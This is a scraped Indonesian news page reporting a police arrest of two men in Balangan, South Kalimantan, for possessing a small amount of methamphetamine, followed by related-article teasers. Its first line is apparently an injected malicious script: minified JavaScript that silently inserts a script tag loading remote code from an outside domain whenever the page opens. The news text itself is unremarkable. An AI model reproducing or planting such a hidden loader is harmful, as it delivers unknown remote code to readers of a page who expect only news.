(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BALANGAN, Dua pelaku tindak pidana peredaran gelap narkotika kembali diamankan oleh Satuan Resnarkoba Polres Balangan. Mereka ialah RA (28) dan SA (29). Keduanya merupakan warga Desa Banua Hanyar, Kecamatan Batumandi, Kabupaten Balangan, Kalsel.
Penyelidikan terhadap kedua pelaku tindak pidana ini dilakukan oleh anggota Sat Resnarkoba Polres Balangan pascaadanya laporan dari masyarakat. Lantas, pihak kepolisian pun gerak cepat menindaklanjuti informasi yang didapat.
“Anggota Sat Resnarkoba Polres Balangan berhasil mengamankan kedua pelaku di kebun karet Desa Mundar, Kecamatan Lampihong,†ucap Kapolres Balangan, AKBP Nur Khamid, SH, S.IK, MM, melalui Kasat Resnarkoba Polres Balangan, AKP Fadillah, SH, Minggu (8/12).
Pelaku RA dan SA sebelumnya juga sudah dalam penyelidikan. Kemudian saat penangkapan, didapatilah bukti pendukung tindak pidana yang dilakukan oleh kedua lelaki tersebut. Ketika penangkapan berlangsung, RA dan SA tak lepas dari penggeledahan.
Lantas Personel Sat Resnarkoba Polres Balangan menemukan barang bukti berupa sedotan warna merah putih berisi serbuk kristal warna bening yang diduga narkotika jenis sabu ditubuh RA.
AKP Fadillah menerangkan, barang bukti yang didapat diketahui akan digunakan oleh RA dan SA pada malam penangkapan tersebut. Keduanya pun kemudian diamankan oleh anggota Sat Resnarkoba Polres Balangan.
RA dan SA, beserta barang bukti langsung dibawa ke Mapolres Balangan untuk proses penyelidikan dan penyidikan lebih lanjut. Adapun barang bukti yang diamankan yakni narkotika jenis sabu berat kotor 0,30 gram. Sedangkan berat bersihnya ialah 0,14 gram. Benda tersebut disimpan oleh RA dalam sebungkus kotak rokok merk Sampoerna warna hijau.
Barang bukti lainnya yang diamankan ialah dua unit smartphone merk Vivo 1820 dan Advan, serta handphone merk Nokia 105 dan simcard yang ada di dalamnya. Kemudian satu unit sepeda motor, beserta STNK sepeda motor Honda Beat warna biru putih.
Baik RA maupun SA dianggap melanggar peraturan mengenai Tindak Pidana peredaran gelap Narkotika jenis sabu-sabu, sebagaimana yang dimaksud dalam Pasal 114 Ayat (1) sub Pasal 112 Ayat (1) sub Pasal 132 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika.(rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.